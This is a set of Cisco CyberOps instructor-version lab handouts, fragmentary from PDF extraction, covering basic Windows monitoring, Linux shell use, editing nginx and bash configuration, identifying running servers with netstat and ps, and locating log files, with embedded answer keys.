Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 18 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
r. Click the black square icon to stop the data collection set.
Note: If the Windows cannot open the file: message is displayed, select the radio button Select a
program from a list of installed programs > OK > Notepad > OK.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 19 of 20 www.netacad.com
Lab – Monitor and Manage System Resources in Windows
v. The Performance Monitor > Confirm Delete window opens. Click Yes.
w. Open drive C: > PerfLogs folder. Right-click on the folder that was created to hold the Memory log file,
then click Delete.
x. The Delete Folder window opens. Click Yes.
y. Close all open windows.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 20 of 20 www.netacad.com
Lab – Working with Text Files in the CLI (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will get familiar with Linux command line text editors and configuration files.
Required Resources
CyberOps Workstation Virtual Machine
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 1 of 11
Lab – Working with Text Files in the CLI
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 2 of 11
Lab – Working with Text Files in the CLI
b. nano will launch and automatically load the space.txt text file. While the text may seem to be truncated
or incomplete, it is not. Because the text was created with no return characters and line wrapping is not
enabled by default, nano is displaying one long line of text.
Use the Home and End keyboard keys to quickly navigate to the beginning and to the end of a line,
respectively.
What character does nano use to represent that a line continues beyond the boundaries of the screen?
____________________________________________________________________________________
____________________________________________________________________________________
The dollar sign ($).
c. As shown on the bottom shortcut lines, CTRL+X can be used to exit nano. nano will ask if you want to
save the file before exiting (‘Y’ for Yes, or N for ‘No’). If ‘Y’ is chosen, you will be prompted to press enter
to accept the given file name, or change the file name, or provide a file name if it is a new unnamed
document.
d. To control nano, you can use CTRL, ALT, ESCAPE or the META keys. The META key is the key on the
keyboard with a Windows or Mac logo, depending on your keyboard configuration.
e. Navigation in nano is very user friendly. Use the arrows to move around the files. Page Up and Page
Down can also be used to skip forward or backwards entire pages. Spend some time with nano and its
help screen. To enter the help screen, press CTRL+G.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 3 of 11
Lab – Working with Text Files in the CLI
While a few files are displayed, none of them seem to be configuration files. This is because it is
convention to hide home-directory-hosted configuration files by preceding their names with a “.” (dot)
character.
b. Use the ls command again but this time add the –a option to also include hidden files in the output:
[analyst@secOps ~]$ ls –la
total 268
drwxr-xr-x 19 analyst analyst 4096 Aug 2 15:43 .
drwxr-xr-x 3 root root 4096 Sep 26 2014 ..
-rw------- 1 analyst analyst 250 May 4 11:42 .atftp_history
-rw------- 1 analyst analyst 13191 Aug 1 09:48 .bash_history
-rw-r--r-- 1 analyst analyst 97 Mar 21 15:31 .bashrc
drwxr-xr-x 4 analyst analyst 4096 Jul 6 10:26 broken_down
drwxr-xr-x 10 analyst analyst 4096 Nov 7 2016 .cache
drwxr-xr-x 12 analyst analyst 4096 Jun 5 11:45 .config
-rw-r--r-- 1 analyst analyst 16384 Apr 12 10:06 .cyberops_topo.py.swp
drwxr-xr-x 2 analyst analyst 4096 Sep 26 2014 Desktop
-rw-r--r-- 1 analyst analyst 43 Sep 27 2014 .dmrc
drwx------ 3 analyst analyst 4096 Jul 14 11:28 Downloads
-rw-r--r-- 1 analyst analyst 72 Sep 26 2014 .fehbg
drwxr-xr-x 5 analyst analyst 4096 Sep 26 2014 .fluxbox
drwx------ 3 analyst analyst 4096 Sep 7 2016 .gnupg
-rw------- 1 analyst analyst 28920 Aug 2 15:01 .ICEauthority
drwxr-xr-x 2 analyst analyst 4096 Sep 26 2014 .idlerc
drwxr-xr-x 3 analyst analyst 4096 Sep 27 2014 .java
drwxr-xr-x 8 analyst analyst 4096 Jul 25 16:27 lab.support.files
-rw------- 1 analyst analyst 290 Jul 6 15:15 .lesshst
drwxr-xr-x 3 analyst analyst 4096 Sep 26 2014 .local
<Some output omitted>
c. Use cat command to display the contents of the .bashrc file. This file is used to configure user-specific
terminal behavior and customization.
[analyst@secOps ~]$ cat .bashrc
export EDITOR=vim
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 4 of 11
Lab – Working with Text Files in the CLI
the entire system and of which configuration files are stored under /etc. Notice that regular users do not
have writing access to /etc. This is important as it restricts the ability to change the system-wide service
configuration to the root user only.
Use the ls command to list the contents of the /etc directory:
[analyst@secOps ~]$ ls /etc
adjtime host.conf mke2fs.conf rc_maps.cfg
apache-ant hostname mkinitcpio.conf request-key.conf
apparmor.d hosts mkinitcpio.d request-key.d
arch-release ifplugd modprobe.d resolv.conf
avahi initcpio modules-load.d resolvconf.conf
bash.bash_logout inputrc motd rpc
bash.bashrc iproute2 mtab rsyslog.conf
binfmt.d iptables nanorc securetty
ca-certificates issue netconfig security
crypttab java-7-openjdk netctl services
dbus-1 java-8-openjdk netsniff-ng shadow
default kernel nginx shadow-
depmod.d krb5.conf nscd.conf shells
dhcpcd.conf ld.so.cache nsswitch.conf skel
dhcpcd.duid ld.so.conf ntp.conf ssh
dkms ld.so.conf.d openldap ssl
drirc libnl openvswitch sudoers
elasticsearch libpaper.d os-release sudoers.d
environment lightdm pacman.conf sudoers.pacnew
ethertypes locale.conf pacman.conf.pacnew sysctl.d
filebeat locale.gen pacman.d systemd
fonts locale.gen.pacnew pam.d tmpfiles.d
fstab localtime pango trusted-key.key
gai.conf login.defs papersize udev
gemrc logrotate.conf passwd UPower
group logrotate.d passwd- vdpau_wrapper.cfg
group- logstash pcmcia vimrc
group.pacnew lvm pkcs11 webapps
grub.d machine-id polkit-1 wgetrc
gshadow mail.rc profile X11
gshadow- makepkg.conf profile.d xdg
gshadow.pacnew man_db.conf protocols xinetd.d
gtk-2.0 mdadm.conf pulse yaourtrc
gtk-3.0 mime.types rc_keymaps
e. Use the cat command to display the contents of the bash_bashrc file:
[analyst@secOps ~]$ cat /etc/bash.bashrc
#
# /etc/bash.bashrc
#
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 5 of 11
Lab – Working with Text Files in the CLI
case ${TERM} in
xterm*|rxvt*|Eterm|aterm|kterm|gnome*)
PROMPT_COMMAND=${PROMPT_COMMAND:+$PROMPT_COMMAND; }'printf "\033]0;%s@%s:%s\007"
"${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"'
;;
screen)
PROMPT_COMMAND=${PROMPT_COMMAND:+$PROMPT_COMMAND; }'printf "\033_%s@%s:%s\033\\"
"${USER}" "${HOSTNAME%%.*}" "${PWD/#$HOME/\~}"'
;;
esac
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 6 of 11
Lab – Working with Text Files in the CLI
c. Because .bashrc is a hidden file with no extension, SciTE does not display it in the file list. If the Location
feature is not visible in the dialog box, Change the type of file shown by selecting All Files (*) from the
type drop box, as shown below. All the files in the analyst’s home directory are shown.
d. Select .bashrc and click Open.
e. Locate 32 and replace it with 31. 32 is the color code for green, while 31 represents red.
f. Save the file by selecting File > Save and close SciTE by clicking the X icon.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 7 of 11
Lab – Working with Text Files in the CLI
g. Click the Terminal application icon located on the Dock, at the bottom center of the Cisco CyberOPS VM
screen. The prompt should appear in red instead of green.
Did the terminal window which was already open also change color from green to red? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
No. The .bashrc file is executed and applied when a terminal is first opened, so any previously opened
terminals will be unaffected by the changes to the .bashrc file.
h. The same change could have been made from the command line with a text editor such as nano. From a
new terminal window, type nano .bashrc to launch nano and automatically load the .bashrc file in it:
[analyst@secOps ~]$ nano .bashrc
export EDITOR=vim
[ Read 5 lines ]
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos
^X Exit ^R Read File ^\ Replace ^U Uncut Text^T To Spell ^_ Go To Line
i. Change 31 to 33. 33 is the color code to yellow.
j. Press CTRL+X to save and then press Y to confirm. Nano will also offer you the chance to change the
filename. Simply press ENTER to use the same name, .bashrc.
k. Nano will end, and you will be back on the shell prompt. Again, click the Terminal application icon located
on the Dock, at the bottom center of the Cisco CyberOps VM screen. The prompt should now appear in
yellow instead of red.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 8 of 11
Lab – Working with Text Files in the CLI
1
2 #user html;
3 worker_processes 1;
4
5 #error_log logs/error.log;
6 #error_log logs/error.log notice;
7 #error_log logs/error.log info;
8
9 #pid logs/nginx.pid;
10
11
12 events {
13 worker_connections 1024;
14 }
15
16
17 http {
18 include mime.types;
19 default_type application/octet-stream;
20
21 #log_format main '$remote_addr - $remote_user [$time_local] "$request" '
22 # '$status $body_bytes_sent "$http_referer" '
23 # '"$http_user_agent" "$http_x_forwarded_for"';
24
25 #access_log logs/access.log main;
26
27 sendfile on;
28 #tcp_nopush on;
29
30 #keepalive_timeout 0;
31 keepalive_timeout 65;
32
33 #gzip on;
34
35 types_hash_max_size 4096;
36 server_names_hash_bucket_size 128;
37
38 server {
39 listen 81;
40 server_name localhost;
41
42 #charset koi8-r;
43
44 #access_log logs/host.access.log main;
45
46 location / {
47 root /usr/share/nginx/html;
48 index index.html index.htm;
49 }
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 9 of 11
Lab – Working with Text Files in the CLI
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos
^X Exit ^R Read File ^\ Replace ^U Uncut Text ^T To Spell ^_ Go To Line
Note: Conventionally, .conf extensions are used to identify configuration files.
b. While the configuration file has many parameters, we will configure only two: the port nginx listens on for
incoming connections, and the directory it will serve web pages from, including the index HTML homepage
file.
c. Notice that at the bottom of the window, above the nano commands, the line number is highlighted and
listed. On line 39, change the port number from 81 to 8080. This will tell nginx to listen to HTTP requests
on port TCP 8080.
d. Next, move to line 47 and change the path from /usr/share/nginx/html/ to
/usr/share/nginx/html/text_ed_lab/
Note: Be careful not to remove the semi-colon at the end of the line or nginx will throw an error on startup.
e. Press CTRL+X to save the file. Press Y and then ENTER to confirm and use the custom_server.conf as
the filename.
f. Type the command below to execute nginx using the modified configuration file:
[analyst@secOps ~]$ sudo nginx -c custom_server.conf "pid /var/run/
nginx_v.pid;"
Note: The "pid /var/run/nginx_v.pid;" is needed to tell nginx what file to use when storing the process ID
that identifies this instance of nginx.
g. Click the web browser icon on the Dock to launch Firefox.
h. On the address bar, type 127.0.0.1:8080 to connect to a web server hosted on the local machine on port
8080. A page related to this lab should appear.
i. After successfully opening the nginx homepage, look at the connection message in the terminal window.
What is the error message referring to?
____________________________________________________________________________________
The error message was generated by the successful web page connection and seems to be caused by a
missing favicon.ico file in the lab.support.files directory.
j. To shut down the nginx webserver, press ENTER to get a command prompt and type the following
command in the terminal window:
[analyst@secOps ~]$ sudo pkill nginx
k. You can test whether the nginx server is indeed shut down by first clearing the recent history in the web
browser, then close and re-open the web browser, then go to the nginx homepage at 127.0.0.1:8080.
Does the web page appear? _____ No.
Challenge: Can you edit the /etc/nginx/custom_configuration.conf file with SciTE? Describe the process
below.
Remember, because the file is stored under /etc, you will need root permissions to edit it.
_______________________________________________________________________________________
_______________________________________________________________________________________
From a terminal window, issue sudo scite /etc/nginx/custom_configuration.conf to launch scite as root.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 10 of 11
Lab – Working with Text Files in the CLI
Reflection
Depending on the service, more options may be available for configuration.
Configuration file location, syntax, and available parameters will vary from service to service. Always consult
the documentation for information.
Permissions are a very common cause of problems. Make sure you have the correct permissions before
trying to edit configuration files.
More often than not, services must be restarted before the changes take effect.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 11 of 11
Lab – Getting Familiar with the Linux Shell (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will use the Linux command line to manage files and folders, and perform some basic
administrative tasks.
Recommended Equipment
CyberOps Workstation Virtual Machine
Instructor Note: This lab can be done using the virtual machine created in a previous lab.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
the amount of text to be typed. To understand relative paths, we must understand the . and .. (dot and
double) directories. From the cyops_folder3 directory, issue a ls –la:
analyst@secOps ~]$ ls –la /home/analyst/cyops_folder3
total 12
drwxr-xr-x 3 analyst analyst 4096 Aug 16 15:04 .
drwxr-xr-x 20 analyst analyst 4096 Aug 16 15:02 ..
drwxr-xr-x 2 analyst analyst 4096 Aug 16 15:04 cyops_folder4
The -a option tells ls to show all files. Notice the . and .. listings shown by ls. These listings are used by
the operating system to track the current directory (.) and the parent directory (..) You can see the use of
the . and .. when using the cd command to change directories. Using the cd command to change the
directory to the . directory incurs no visible directory change as the . points to the current directory itself.
j. Change the current directory to /home/analyst/cyops_folder3:
[analyst@secOps ~]$ cd /home/analyst/cyops_folder3
[analyst@secOps cyops_folder3]$
k. Type cd .
[analyst@secOps cyops_folder3]$ cd .
[analyst@secOps cyops_folder3]$
What happens?
____________________________________________________________________________________
Apparently nothing but the command interpreter has changed the directory to the current directory itself.
l. Changing the directory to the .. directory, will change to the directory that is one level up. This directory is
also known as parent directory. Type cd ..
[analyst@secOps cyops_folder3]$ cd ..
[analyst@secOps ~]$
What happens?
____________________________________________________________________________________
The directory was changed to /home/analyst, which is the directory immediately above cyops_folder3,
also known as parent directory.
What would be the current directory if you issued the cd .. command at [analyst@secOps ~]$?
____________________________________________________________________________________
/home
What would be the current directory if you issued the cd .. command at [analyst@secOps home]$?
____________________________________________________________________________________
/ (backslash), the root of the filesystem
What would be the current directory if you issued the cd .. command at [analyst@secOps /]$?
____________________________________________________________________________________
/ (backslash), the root of the filesystem. Because this is the highest level, no upward change is done as
the root directory has no parent directory.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
b. Use the cat command to display the contents of the some_text_file.txt text file yet again:
[analyst@secOps ~]$ cat some_text_file.txt
This is a DIFFERENT message, once again echoed to the terminal by echo.
This is another line of text. It will be APPENDED to the output file.
What happened to the text file? Explain.
____________________________________________________________________________________
The new message was appended to the end of the file, keeping the original contents intact.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
b. In Linux, directories are seen as a type of file. As such, the rm command is also used to delete directories
but the -r (recursive) option must be used. Notice that all files and other directories inside a given
directory are also deleted when deleting a parent directory. Issue the command below to delete the
cyops_folder1 folder and its contents:
[analyst@secOps ~]$ rm –r cyops_folder1
[analyst@secOps ~]$ ls -l
total 28
drwxr-xr-x 2 analyst analyst 4096 Aug 16 15:11 cyops_folder2
drwxr-xr-x 3 analyst analyst 4096 Aug 16 15:04 cyops_folder3
drwxr-xr-x 2 analyst analyst 4096 Sep 26 2014 Desktop
drwx------ 3 analyst analyst 4096 Jul 14 11:28 Downloads
drwxr-xr-x 8 analyst analyst 4096 Jul 25 16:27 lab.support.files
drwxr-xr-x 2 analyst analyst 4096 Mar 3 15:56 second_drive
-rw-r--r-- 1 analyst analyst 254 Aug 16 13:38 space.txt
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 8 of 9 www.netacad.com
Lab – Getting Familiar with the Linux Shell
Reflection
What are the advantages of using the Linux command line?
_______________________________________________________________________________________
_______________________________________________________________________________________
Answers may vary. The command line allows the users more options and control over the graphical interface.
As the users become more experienced with the command line, the users may combine these commands in
scripts to perform routine tasks. The command line interface uses fewer resources when users administrate
the computers remotely.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 9 of 9 www.netacad.com
Lab – Linux Servers (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will use the Linux command line to identify servers running on a given computer.
Recommended Equipment
CyberOps Workstation Virtual Machine
Instructor Note: This lab can be done using the virtual machine created in a previous lab.
Part 1: Servers
Servers are essentially programs written to provide specific information upon request. Clients, which are also
programs, reach out to the server, place the request and wait for the server response. Many different client-
server communication technologies can be used, with the most common being IP networks. This lab focuses
on IP network-based servers and clients.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 1 of 7 www.netacad.com
Lab – Linux Servers
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 2 of 7 www.netacad.com
Lab – Linux Servers
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 3 of 7 www.netacad.com
Lab – Linux Servers
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 4 of 7 www.netacad.com
Lab – Linux Servers
Based on the netstat output shown in item (d), what is the Layer 4 protocol, connection status, and PID
of the process running on port 80?
____________________________________________________________________________________
TCP, LISTEN and 395.
While port numbers are just a convention, can you guess what kind of service is running on port 80 TCP?
____________________________________________________________________________________
This is probably a web server.
e. Sometimes it is useful to cross the information provided by netstat with ps. Based on the output of item
(d), it is known that a process with PID 395 is bound to TCP port 80. Port 395 is used in this example.
Use ps and grep to list all lines of the ps output that contain PID 395:
[analyst@secOps ~]$ sudo ps -elf | grep 395
[sudo] password for analyst:
1 S root 395 1 0 80 0 - 1829 sigsus Feb27 ? 00:00:00 nginx:
master process /usr/bin/nginx -g pid /run/nginx.pid; error_log stderr;
5 S http 396 395 0 80 0 - 1866 SyS_ep Feb27 ? 00:00:00 nginx:
worker process
0 S analyst 3789 1872 0 80 0 - 1190 pipe_w 14:05 pts/1 00:00:00 grep 395
In the output above, the ps command is piped through the grep command to filter out only the lines
containing the number 395. The result is three lines with text wrapping.
The first line shows a process owned by the root user (third column), started by another process with PID
1 (fifth column), on Feb27 (twelfth column) with command /usr/bin/nginx -g pid /run/nginx.pid;
error_log stderr;
The second line shows a process with PID 396, owned by the http user, started by process 395, on
Feb27.
The third line shows a process owned by the analyst user, with PID 3789, started by a process with PID
1872, as the grep 395 command.
The process PID 395 is nginx. How could that be concluded from the output above?
____________________________________________________________________________________
Based on the last column of line 1, the output shows nginx command line.
What is nginx? What is its function? (Use google to learn about nginx)
____________________________________________________________________________________
nginx is a lightweight webserver. A quick google search is extremely helpful on finding information about
unidentified processes.
The second line shows that process 396 is owned by a user named http and has process number 395 as
its parent process. What does that mean? Is this common behavior?
____________________________________________________________________________________
It means that nginx started process 396 under the http username. This is normal as nginx runs itself for
every client that connects to port 80 TCP.
Why is the last line showing grep 395?
____________________________________________________________________________________
Because the grep 395 was used to filter the ps output, when the output was compiled, grep 395 was still
running and therefore, it appeared in the list.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 5 of 7 www.netacad.com
Lab – Linux Servers
<html>
<head><title>400 Bad Request</title></head>
<body bgcolor="white">
<center><h1>400 Bad Request</h1></center>
<hr><center>nginx/1.10.2</center>
</body>
</html>
Connection closed by foreign host.
Thanks to the Telnet protocol, a clear text TCP connection was established, by the Telnet client, directly
to the nginx server, listening on 127.0.0.1 port 80 TCP. This connection allows us to send data directly to
the server. Because nginx is a web server, it does not understand the sequence of random letters sent to
it and returns an error in the format of a web page.
Why was the error sent as a web page?
____________________________________________________________________________________
Nginx is a web server and as such, only speaks the HTTP protocol.
While the server reported an error and terminated the connection, we were able to learn a lot. We learned
that:
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 6 of 7 www.netacad.com
Lab – Linux Servers
Reflection
What are the advantages of using netstat?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Netstat allows for an analyst to display all the connections currently present on a computer. Source and
destination addresses, ports, and process IDs can also be displayed, providing a quick overview of all
connections present on a computer.
What are the advantages of using Telnet? Is it safe?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
Yes, as long it is not used as a remote shell. It is perfectly safe to quickly test or gather information about a
given network service.
Cisco and/or its affiliates. All rights reserved. Cisco Confidential Page 7 of 7 www.netacad.com
Lab – Locating Log Files (Instructor Version)
Instructor Note: Red font color or gray highlights indicate text that appears in the instructor copy only.
Introduction
In this lab, you will get familiar with locating and manipulating Linux log files.
Required Resources
CyberOps Workstation Virtual Machine
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 1 of 16
Lab – Locating Log Files
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 2 of 16
Lab – Locating Log Files
Mar 20 14:28:53 secOps kernel: [21263.449480] pcnet32 0000:00:03.0 enp0s3: link down
Mar 20 14:28:57 secOps kernel: [21267.500152] pcnet32 0000:00:03.0 enp0s3: link up,
100Mbps, full-duplex
Mar 20 14:29:01 secOps kernel: [21271.551499] pcnet32 0000:00:03.0 enp0s3: link down
Mar 20 14:29:05 secOps kernel: [21275.389707] pcnet32 0000:00:03.0 enp0s3: link up,
100Mbps, full-duplex
Mar 22 06:01:40 secOps kernel: [0.000000] Linux version 4.8.12-2-ARCH
(builduser@andyrtr) (gcc version 6.2.1 20160830 (GCC) ) #1 SMP PREEMPT Fri Dec 2
20:41:47 CET 2016
Mar 22 06:01:40 secOps kernel: [0.000000] x86/fpu: Supporting XSAVE feature 0x001:
'x87 floating point registers'
Mar 22 06:01:40 secOps kernel: [0.000000] x86/fpu: Supporting XSAVE feature 0x002:
'SSE registers'
Mar 22 06:01:40 secOps kernel: [0.000000] x86/fpu: Supporting XSAVE feature 0x004:
'AVX registers'
Mar 22 06:01:40 secOps kernel: [0.000000] x86/fpu: xstate_offset[2]: 576,
xstate_sizes[2]: 256
Mar 22 06:01:40 secOps kernel: [0.000000] x86/fpu: Enabled xstate features 0x7,
context size is 832 bytes, using 'standard' format.
Mar 22 06:01:40 secOps kernel: [0.000000] x86/fpu: Using 'eager' FPU context switches.
<some output omitted>
Notice that the events listed above are very different from the web server events. Because the operating
system itself is generating this log, all recorded events are in relation to the OS itself.
b. If necessary, enter Ctrl + C to exit out of the previous command.
c. Log files are very important for troubleshooting. Assume that a user of that specific system reported that
all network operations were slow around 2:30pm. Can you find evidence of that in the log entries shown
above? If so in what lines? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
On Wednesday, March 20nd, 14:28:33 through 14:29:05 (lines 5 – 12) the network card was flapping
(switching from up to down quickly). The log entries clearly confirm the user report.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 3 of 16
Lab – Locating Log Files
NAME
nginx — HTTP and reverse proxy server, mail proxy server
SYNOPSIS
nginx [-?hqTtVv] [-c file] [-g directives] [-p prefix] [-s signal]
DESCRIPTION
nginx (pronounced “engine x”) is an HTTP and reverse proxy server, as well as a
mail proxy
server. It is known for its high performance, stability, rich feature set,
simple configura‐
tion, and low resource consumption.
<some output omitted>
b. Scroll down the page to locate the nginx logging section. The documentation makes it clear that nginx
supports logging, with the location of its log files defined at compilation time.
[PARTIAL OUTPUT EXTRACTED FROM NGINX MANUAL PAGE]
DEBUGGING LOG
To enable a debugging log, reconfigure nginx to build with debugging:
events {
debug_connection 127.0.0.1;
}
c. The manual page also contains information on the files used by nginx. Scroll down further to display the
nginx operating files under the Files section:
FILES
%%PID_PATH%%
Contains the process ID of nginx. The contents of this file are
not sensitive, so it can be world-readable.
%%CONF_PATH%%
The main configuration file.
%%ERROR_LOG_PATH%%
Error log file.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 4 of 16
Lab – Locating Log Files
The outputs above help you to conclude that nginx supports logging and that it can save to log files. The
output also hints at the existence of a configuration file for nginx.
d. Before looking for nginx files, use the ps and the grep commands to ensure nginx is running in the VM.
Note: Use man to learn more about ps and grep commands.
[analyst@secOps ~]$ ps ax | grep nginx
415 ? Ss 0:00 nginx: master process /usr/bin/nginx -g pid
/run/nginx.pid; error_log stderr;
416 ? S 0:00 nginx: worker process
1207 pts/0 S+ 0:00 grep nginx
The output above confirms that nginx is running. In addition, the output also displays the parameters used
when nginx was started. nginx process ID is being stored in /run/nginx.pid and error messages are being
redirected to the terminal.
Note: If nginx is not running, enter the sudo /usr/sbin/nginx at the prompt to start the service using the
default configuration.
Note: If you need to restart nginx, you can kill the service by using the sudo pkill nginx command. To
start nginx with the custom configuration from a previous lab, run the following command: sudo nginx -c
custom_server.conf, and test the server by opening a web browser and going to URL: 127.0.0.1:8080. If
you wish to start nginx with a default configuration you can start it with the command: sudo
/usr/sbin/nginx, and open a web browser and go to URL: 127.0.0.1.
Because the location to the log files was not specified, the global nginx configuration file should be
checked for the location of the log files.
e. By design, the CyberOps Workstation VM utilizes default locations and definitions as much as possible.
Conventionally, the /var/log directory holds various log files for various applications and services while
configuration files are stored under the /etc directory. While the nginx manual page did not provide an
exact location for its log files, it not only confirmed that nginx supports logging but also hinted at the
location of a configuration file. Because the log file locations can often be customized in configuration
files, a logical next step is to use the ls command to look under /etc and look for a nginx configuration file:
[analyst@secOps ~]$ ls /etc/
adjtime host.conf mke2fs.conf rc_maps.cfg
apache-ant hostname mkinitcpio.conf request-key.conf
apparmor.d hosts mkinitcpio.d request-key.d
arch-release ifplugd modprobe.d resolv.conf
avahi initcpio modules-load.d resolvconf.conf
bash.bash_logout inputrc motd rpc
bash.bashrc iproute2 mtab rsyslog.conf
binfmt.d iptables nanorc securetty
ca-certificates issue netconfig security
crypttab java-7-openjdk netctl services
dbus-1 java-8-openjdk netsniff-ng shadow
default kernel nginx shadow-
depmod.d krb5.conf nscd.conf shells
dhcpcd.conf ld.so.cache nsswitch.conf skel
dhcpcd.duid ld.so.conf ntp.conf ssh
dkms ld.so.conf.d openldap ssl
drirc libnl openvswitch sudoers
elasticsearch libpaper.d os-release sudoers.d
environment lightdm pacman.conf sudoers.pacnew
ethertypes locale.conf pacman.conf.pacnew sysctl.d
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 5 of 16
Lab – Locating Log Files
<output omitted>
f. Notice the nginx folder under /etc in the output above. Using ls again, we find a number of files, including
one named nginx.conf.
[analyst@secOps ~]$ ls -l /etc/nginx/
total 48
-rw-r--r-- 1 root root 2730 Mar 21 16:02 custom_server.conf
-rw-r--r-- 1 root root 1077 Nov 18 15:14 fastcgi.conf
-rw-r--r-- 1 root root 1007 Nov 18 15:14 fastcgi_params
-rw-r--r-- 1 root root 2837 Nov 18 15:14 koi-utf
-rw-r--r-- 1 root root 2223 Nov 18 15:14 koi-win
-rw-r--r-- 1 root root 2743 Jan 6 15:41 mal_server.conf
-rw-r--r-- 1 root root 3957 Nov 18 15:14 mime.types
-rw-r--r-- 1 root root 3264 Mar 22 13:34 nginx.conf
-rw-r--r-- 1 root root 3261 Oct 19 16:42 nginx.conf.working
-rw-r--r-- 1 root root 636 Nov 18 15:14 scgi_params
-rw-r--r-- 1 root root 664 Nov 18 15:14 uwsgi_params
-rw-r--r-- 1 root root 3610 Nov 18 15:14 win-utf
g. Use the cat command to list the contents of /etc/nginx/nginx.conf. You can also use more or less to view
the file and nano or SciTE to edit it. These tools make it easier to navigate through long text files (only
the output of cat is displayed below).
[analyst@secOps ~]$ cat /etc/nginx/nginx.conf
#user html;
worker_processes 1;
#error_log logs/error.log;
#error_log logs/error.log notice;
#error_log logs/error.log info;
#pid logs/nginx.pid;
events {
worker_connections 1024;
}
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 6 of 16
Lab – Locating Log Files
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 7 of 16
Lab – Locating Log Files
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 8 of 16
Lab – Locating Log Files
e. In the web browser address bar, enter 127.0.0.1 and press Enter. This is the address of the VM itself,
which tells the browser to connect to a web server running on the local computer. A new entry should be
recorded in the /var/log/nginx/access.log file. Refresh the webpage to see new entries added to the log.
127.0.0.1 - - [23/Mar/2017:09:48:36 -0400] "GET / HTTP/1.1" 200 612 "-" "Mozilla/5.0
(X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0"
Because tail is still running, it should display the new entry at the bottom of the terminal window. Aside
from the timestamp, your entry should look like the one above.
Note: Firefox stores pages in cache for future use. If a page is already in cache, force Firefox to ignore
the cache and place web requests, reload the page by pressing <CTRL+SHIFT+R>.
f. Because the log file is being updated by nginx, we can state with certainty that /var/log/acess.log is in fact
the log file in use by nginx.
g. Enter Ctrl + C to end the tail monitoring session.
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 9 of 16
Lab – Locating Log Files
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 10 of 16
Lab – Locating Log Files
© Cisco and/or its affiliates. All rights reserved. This document is Cisco Public. Page 11 of 16
Lab – Locating Log Files
Mar 22 09:35:11 secOps kernel: x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating
point registers'
Mar 22 09:35:11 secOps kernel: x86/fpu: Supporting XSAVE feature 0x002: 'SSE
registers'
Mar 22 09:35:11 secOps kernel: x86/fpu: Supporting XSAVE feature 0x004: 'AVX
registers'
Mar 22 09:35:11 secOps kernel: x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
Mar 22 09:35:11 secOps kernel: x86/fpu: Enabled xstate features 0x7, context size is
832 bytes, using 'standard' format.
Mar 22 09:35:11 secOps kernel: x86/fpu: Using 'eager' FPU context switches.
Mar 22 09:35:11 secOps kernel: e820: BIOS-provided physical RAM map:
Mar 22 09:35:11 secOps kernel: BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff]
